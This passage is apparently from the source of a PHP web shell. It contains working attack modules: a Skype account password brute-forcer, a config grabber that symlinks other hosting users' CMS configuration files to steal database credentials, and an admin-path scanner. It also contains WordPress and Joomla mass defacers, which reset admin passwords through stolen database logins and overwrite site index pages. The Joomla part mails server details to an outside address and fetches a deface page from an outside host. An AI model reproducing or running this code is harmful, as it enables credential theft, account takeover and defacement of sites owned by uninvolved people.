5040<form action="?dm=<?php echo $pwd; ?>&x=skype" method="post">
5041<br/><br/><form method='POST'>
5042
5043<center><br/><br/>
5044<img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><nobr><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>SKYPE ACCOUNT ]:=O</span></nobr><br/><br/>
5045<nobr>Username : <input style='color:#FF0000;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
5046<textarea style='color:#FF0000;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
5047<input style='color:#FF0000;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
5048</center>
5049</form>
5050<?php
5051@set_time_limit(0);
5052$skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
5053# Username & Password
5054$username = $_POST['skypename'];
5055$password = explode("\r\n", $_POST['passwords']);
5056
5057$time = date_default_timezone_set("Asia/Jakarta");
5058$date = date('H:i:s');
5059$header = "HTTP/1.1 302";
5060function xsecurity($skype){
5061$ch = curl_init();
5062curl_setopt($ch, CURLOPT_URL, $skype);
5063curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5064curl_setopt($ch, CURLOPT_HEADER, 1);
5065curl_setopt($ch, CURLOPT_POST, 1);
5066curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5067curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5068curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5069$run = curl_exec($ch);
5070preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
5071preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
5072preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
5073return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];}
5074
5075$xsec = explode("|:|" ,xsecurity($skype));
5076$token = $xsec[0];
5077$pie = $xsec[1];
5078$etm = $xsec[2];
5079
5080function brute($skype,$username,$pass,$header){
5081$ch = curl_init();
5082curl_setopt($ch, CURLOPT_URL, $skype);
5083curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5084curl_setopt($ch, CURLOPT_HEADER, 1);
5085curl_setopt($ch, CURLOPT_POST, 1);
5086curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
5087curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5088curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5089curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5090$brute = curl_exec($ch);
5091if(strstr($brute, $header)){
5092echo "<br><br><nobr><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></span></center>";
5093}
5094return $brute;
5095}
5096if($_POST['brute']){
5097foreach($password as $pass)
5098{
5099brute($skype,$username,$pass,$header);
5100}
5101}
5102?>
5103
5104<?php }
5105# x=grabber
5106elseif(isset($_GET['x']) && ($_GET['x'] == 'grabber')){
5107?>
5108<form action="?dm=<?php echo $pwd; ?>&x=grabber" method="post">
5109
5110<center><br/><br/><nobr><span class="b7">O=:[ CONFIG</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/><form method="POST">
5111<textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea><br/><br/>
5112<input name="cat" size="80" style="color:#FF0000;background-color:#000000" value="START GRAB CONFIG" type="submit"><br/></form>
5113
5114<?php
5115@error_reporting(0);
5116@set_time_limit(0);
5117if($_POST["cat"] && !$_POST["passwd"]==""){
5118echo "Checking Functions ...<br>";
5119$functions=@ini_get("disable_functions");
5120if(eregi("symlink",$functions)){
5121die("<center><br/><br/><nobr><span class='b9'>DISABLE FUNCTIONS IS ON</span></nobr><br/><br/></center>");
5122}
5123@mkdir("dm_grab", 0755);
5124@chdir("dm_grab");
5125$htaccess="
5126Options all
5127Options +Indexes
5128Options +FollowSymLinks
5129DirectoryIndex Sux.html
5130AddType text/plain .php
5131AddHandler server-parsed .php
5132AddType text/plain .html
5133AddHandler txt .html
5134Require None
5135Satisfy Any";
5136file_put_contents(".htaccess",$htaccess,FILE_APPEND);
5137$passwd=$_POST["passwd"];
5138$passwd=explode("\n",$passwd);
5139echo "Start Symlinking ...<br>";
5140foreach($passwd as $pwd){
5141$pawd=explode(":",$pwd);
5142$user =$pawd[0];
5143// Now symlink Them
5144@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
5145@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
5146@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
5147@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
5148@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
5149@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
5150@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
5151@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
5152@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
5153@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
5154@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
5155@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
5156@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
5157@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
5158@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
5159@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
5160@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
5161@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
5162@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
5163@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
5164@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
5165@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
5166@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
5167@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
5168@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
5169@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
5170@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
5171@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
5172@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
5173@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
5174@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
5175@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
5176@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
5177@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
5178@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
5179@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
5180@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5181@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5182@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
5183@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
5184@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
5185@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
5186@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
5187@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
5188@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
5189@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
5190@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
5191@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
5192@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
5193@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
5194@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
5195@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
5196@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
5197@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
5198@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
5199@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
5200@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
5201@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
5202@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
5203@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
5204@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
5205@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
5206@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
5207@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
5208@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
5209@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
5210@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
5211@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
5212@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
5213@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
5214@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
5215@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
5216@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
5217@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
5218@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
5219@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
5220@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
5221@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
5222@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
5223@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
5224@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
5225@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
5226@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
5227@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
5228@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
5229@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
5230@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
5231@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
5232@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
5233@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
5234@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
5235@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
5236@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
5237@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
5238@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
5239@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
5240@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
5241@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
5242@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
5243@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
5244@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
5245@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
5246@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
5247@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
5248@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
5249@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
5250@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
5251@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
5252@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
5253@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
5254@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
5255@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
5256@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
5257@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
5258@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
5259}
5260echo "<center><br/><br/><a href='dm_grab'><nobr><span class='b9'>CHECK CONFIG GRABBER</span></nobr><br/></a><br/><br/>";
5261}
5262?>
5263
5264<?php }
5265# x=ascan
5266elseif(isset($_GET['x']) && ($_GET['x'] == 'ascan')){ ?>
5267<form action="?dn=<?php echo $pwd; ?>&x=ascan" method="post">
5268
5269 <center><br/><br/><nobr><span class="b7">O=:[ ADMIN LOGIN</span> <span class="b8">PATH SCANNER ]:=O</nobr><br/><br/> <form method="POST"> Website : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>
5270
5271<?php
5272$target = $_POST['target'];
5273$admins = array('/admin',
5274'/adminweb',
5275'/safeadmin',
5276'/adminweb',
5277'/controlpanel',
5278'/cpanel',
5279'/admcp',
5280'/admin.asp',
5281'/sysadmin.php',
5282'/useradmin',
5283'/wp-admin',
5284'/webadmin',
5285'/SysAdmin',
5286'/administer',
5287'/administrator',
5288'/adm',
5289'/directadmin',
5290'/staradmin',
5291'/panel',
5292'/wp-login'
5293,'/pureadmin',
5294'/webmaster',
5295'/ADMIN',
5296'/login',
5297'/paneldecontrol',
5298'/administrador',
5299'/admin.php',
5300'/login',
5301'/loign.php',
5302'/administrator.php',
5303'/admins.php',
5304'/logins',
5305'/admincp',
5306'/admincp.php');
5307foreach($admins as $admin) {
5308$jamban = ($target).($admin);
5309$get = @file_get_contents($jamban);
5310if($get) {
5311echo "<br>[+] FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
5312}
5313}
5314?>
5315
5316<?php }
5317elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmass')){ ?>
5318<form action="?y=<?php echo $pwd; ?>&x=wpmass" method="post">
5319<?php
5320ini_set("display_errors", "0");
5321set_time_limit(0);
5322@session_start();
5323$base_path = dirname(__FILE__).'/';
5324
5325
5326function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5327 $ar0=explode($marqueurDebutLien, $text);
5328 $ar1=explode($marqueurFinLien, $ar0[$i]);
5329 return trim($ar1[0]);
5330}
5331
5332function randomt() {
5333 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5334 srand((double)microtime()*1000000);
5335 $i = 0;
5336 $pass = '';
5337 while ($i <= 7) {
5338 $num = rand() % 33;
5339 $tmp = substr($chars, $num, 1);
5340 $pass = $pass . $tmp;
5341 $i++;
5342 }
5343 return $pass;
5344}
5345
5346function index_changer_wp($conf, $content) {
5347 $output = '';
5348 $dol = '$';
5349 $username = entre2v2($conf,"define('DB_USER', '","');");
5350 $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
5351 $dbname = entre2v2($conf,"define('DB_NAME', '","');");
5352 $prefix = entre2v2($conf,$dol."table_prefix = '","'");
5353 $host = entre2v2($conf,"define('DB_HOST', '","');");
5354
5355 $link=mysql_connect($host,$username,$password);
5356 if($link) {
5357 mysql_select_db($dbname,$link) ;
5358 $dol = '$';
5359 $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '0a56f86a4ea789f555c2bdfafb61fd4a' WHERE `ID` = 1");
5360 } else {
5361 $output.= "[-] DB Error<br />";
5362 }
5363 if($req1) {
5364
5365 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
5366 $data = mysql_fetch_array($req);
5367 $site_url=$data["option_value"];
5368
5369 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
5370 $data = mysql_fetch_array($req);
5371 $template = $data["option_value"];
5372
5373 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
5374 $data = mysql_fetch_array($req);
5375 $current_theme = $data["option_value"];
5376
5377 $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
5378 $url2=$site_url."/wp-login.php";
5379
5380 $ch = curl_init();
5381 curl_setopt($ch, CURLOPT_URL, $url2);
5382 curl_setopt($ch, CURLOPT_POST, 1);
5383 curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=slymn123&rememberme=forever&wp-submit=Log In&testcookie=1");
5384 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5385 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5386 curl_setopt($ch, CURLOPT_HEADER, 0);
5387 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
5388 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5389 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5390 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5391 $buffer = curl_exec($ch);
5392
5393 $pos = strpos($buffer,"action=logout");
5394 if($pos === false) {
5395 $output.= "[-] Giris Basarisiz<br />";
5396 } else {
5397 $output.= "[+] Giris Basarili<br />";
5398 }
5399
5400 $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
5401 curl_setopt($ch, CURLOPT_URL, $url2);
5402 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
5403 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5404 curl_setopt($ch, CURLOPT_HEADER, 0);
5405 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5406 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5407 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5408 $buffer0 = curl_exec($ch);
5409
5410 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
5411 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
5412
5413 if(substr_count($_file,"/index.php") != 0){
5414 $output.= "[+] index.php CROT<br />";
5415 } else {
5416 $output.= "[-] index.php CROT<br />";
5417 }
5418
5419 $url2=$site_url."/wp-admin/theme-editor.php";
5420 curl_setopt($ch, CURLOPT_URL, $url2);
5421 curl_setopt($ch, CURLOPT_POST, 1);
5422 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
5423 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5424 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5425 curl_setopt($ch, CURLOPT_HEADER, 0);
5426 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5427 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5428 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5429 $buffer = curl_exec($ch);
5430 curl_close($ch);
5431
5432 $pos = strpos($buffer,'<div id="message" class="updated">');
5433 $cond = 0;
5434 if($pos === false) {
5435 $output.= "[-] index.php CROT<br />";
5436 } else {
5437 $output.= "[+] index.php CROT<br />";
5438 $cond = 1;
5439 }
5440 } else {
5441 $output.= "[-] DB Error<br />";
5442 }
5443 global $base_path;
5444 unlink($base_path.'COOKIE.txt');
5445 return array('cond'=>$cond, 'output'=>$output);
5446}
5447
5448function exec_mode_1($def_url) {
5449
5450 @mkdir('sym',0777);
5451 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5452 $fp = @fopen ('sym/.htaccess','w');
5453 fwrite($fp, $wr);
5454 @symlink('/','sym/root');
5455 $dominios = @file_get_contents("/etc/named.conf");
5456 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
5457 $out[1] = array_unique($out[1]);
5458 $numero_dominios = count($out[1]);
5459 echo "Toplam Site: $numero_dominios <br><br />";
5460 $def = file_get_contents($def_url);
5461 $def = urlencode($def);
5462 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';
5463 $output = fopen('defaced.html', 'a+');
5464 $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
5465 $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
5466 echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th>
5467<th>SID</th><th>Domain</th><th>Script</th><th>DM</th><th>dm</th></tr>';
5468 $j = 1;
5469 $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
5470 for($i = $st; $i <= $numero_dominios; $i++)
5471 {
5472 $domain = $out[1][$i];
5473 $dono_arquivo = @fileowner("/etc/valiases/".$domain);
5474 $infos = @posix_getpwuid($dono_arquivo);
5475
5476 $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");
5477
5478 $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
5479
5480 if($config02 && preg_match('/DB_NAME/i',$config02)){
5481 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
5482 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
5483 $res = index_changer_wp($config02, $def);
5484 echo '<td>'.$res['output'].'</td>';
5485 if($res['cond']) {
5486 echo '<td align="center"><span class="green">HACKED</span></td>';
5487 fwrite($output, 'http://'.$domain."<br>");
5488 $_SESSION['count2'] = $_SESSION['count2'] + 1;
5489 } else {
5490 echo '<td align="center"><span class="red">BASARISIZ</span></td>';
5491 }
5492 echo '</tr>';
5493 }
5494 }
5495 echo '</table>';
5496 echo '<hr/>';
5497 echo 'TOTAL Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br />';
5498
5499}
5500echo '<!DOCTYPE html>
5501<html>
5502<head>
5503 <title>WP Mass Defacer</title>
5504<script type="text/javascript">
5505 function change() {
5506 if(document.getElementById(\'rcd\').checked == true) {
5507 document.getElementById(\'tra\').style.display = \'\';
5508 } else {
5509 document.getElementById(\'tra\').style.display = \'none\';
5510 }
5511 }
5512 function hide() {
5513 document.getElementById(\'tra\').style.display = \'none\';
5514 }
5515 </script>
5516</head>
5517<body>
5518<div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
5519<h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer</h2>';
5520
5521
5522 if(!isset($_POST['form_action'])){ echo '<div align="center">
5523 <form action="" method="post">
5524 <input type="hidden" name="form_action" value="1"><br>index url:
5525<input type="text" style="color:#FF0000;background-color:#000000" name="indexadresi" value="http://site.com/index.html" /><br>
5526 <input class=submit style="color:#FF0000;background-color:#000000" type="submit" value="!! START !!" name="Submit">
5527 </form>
5528 </div>';
5529 }
5530 echo '<div align="center">';
5531 if($_POST['form_action'] == 1) {
5532 exec_mode_1($_POST['indexadresi']);
5533 }
5534 echo '</div>
5535 </div>
5536</body>
5537</html>';
5538?>
5539
5540
5541
5542<?php }
5543elseif(isset($_GET['x']) && ($_GET['x'] == 'jomass')){ ?>
5544<form action="?y=<?php echo $pwd; ?>&x=jomass" method="post">
5545 <html>
5546 <?
5547
5548
5549 ini_set("display_errors", "0");
5550 set_time_limit(0);
5551 @session_start();
5552 echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA DEFACER </center></font> </p>";
5553
5554 //mail feature
5555 $body=("server ip:".$_SERVER['SERVER_ADDR']." "."Site Name:".$_SERVER['SERVER_NAME']." "."Directory".dirname(__FILE__));
5556 mail('proxyhoax@gmail.com',$_SERVER['SERVER_ADDR'],$body);
5557
5558 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
5559
5560 //create symlink of / to /sym/root/
5561 @mkdir('sym',0777);
5562 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5563 $fp = @fopen ('sym/.htaccess','w');
5564 fwrite($fp, $wr);
5565 @symlink('/','sym/root');
5566 //collecting site names
5567 $text=file_get_contents($base_url.'/sym/root/var/named/');
5568 $ar = explode('<li><a href="', $text);
5569 for($vi=2;$vi < count($ar);$vi++)
5570 {
5571 $var1 = strtok($ar[$vi], " ");
5572 $var1 = substr($var1,0,-2);
5573 $old=('.db');
5574 $new=('');
5575 $sites = str_replace($old , $new , $var1);
5576 $filename = 'sites.txt';
5577 $fp = fopen($filename, "a+");
5578 $write = fputs($fp, $sites."\n");
5579 fclose($fp);
5580 }
5581
5582 //collecting domainuser names for sites
5583 $domainusers=file('sites.txt');
5584 foreach ($domainusers as $domainuser) {
5585 $textexec=("ls -la /etc/valiases/".$domainuser);
5586 $exec=exec($textexec);
5587 $filename = 'lsla.txt';
5588 $fp = fopen($filename, "a+");
5589 $write = fputs($fp, $exec."\n");
5590 fclose($fp);
5591 }
5592
5593 //creating final domain and domain user list
5594 $lsla=file('lsla.txt');
5595 foreach ($lsla as $finaldom) {
5596 $user=entre2v2($finaldom,"-rw-r----- 1 "," mail");
5597 $site=substr(strstr($finaldom, '/etc/valiases'),14);
5598
5599 $filename = 'bhung.txt';
5600 $fp = fopen($filename, "a+");
5601 $write = fputs($fp, $user.":". $site." ");
5602 fclose($fp);
5603
5604 }
5605
5606 $f=file_get_contents('bhung.txt');
5607 $finals=explode(" ",$f);
5608 foreach ($finals as $final){
5609 $strlen=('6');
5610 $dr=strlen ($final);
5611 if ($dr < $strlen) {
5612
5613 $filename = 'faltu.txt';
5614 $fp = fopen($filename, "a");
5615 $write = fputs($fp, $final);
5616 fclose($fp);
5617 }
5618 else {
5619 $filename = 'gold.txt';
5620 $fp = fopen($filename, "a");
5621 $write = fputs($fp, $final."\n");
5622 fclose($fp);
5623 }
5624
5625 }
5626 //delete ajaira text files
5627 unlink ('bhung.txt');
5628 unlink ('faltu.txt');
5629 unlink ('lsla.txt');
5630 unlink ('sites.txt');
5631
5632 $h=file_get_contents('http://dmzone-defacer.tk/index.html');
5633 $url=($base_url);
5634 $a=file($base_url.'/gold.txt');
5635 echo ("<center><table border=1 cellspacing=1 cellpading=1>
5636 <tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>");
5637
5638 foreach ($a as $final) {
5639 list($user, $site_url) = explode(":", $final);
5640 $site_urlto = substr($site_url, 0, -1);
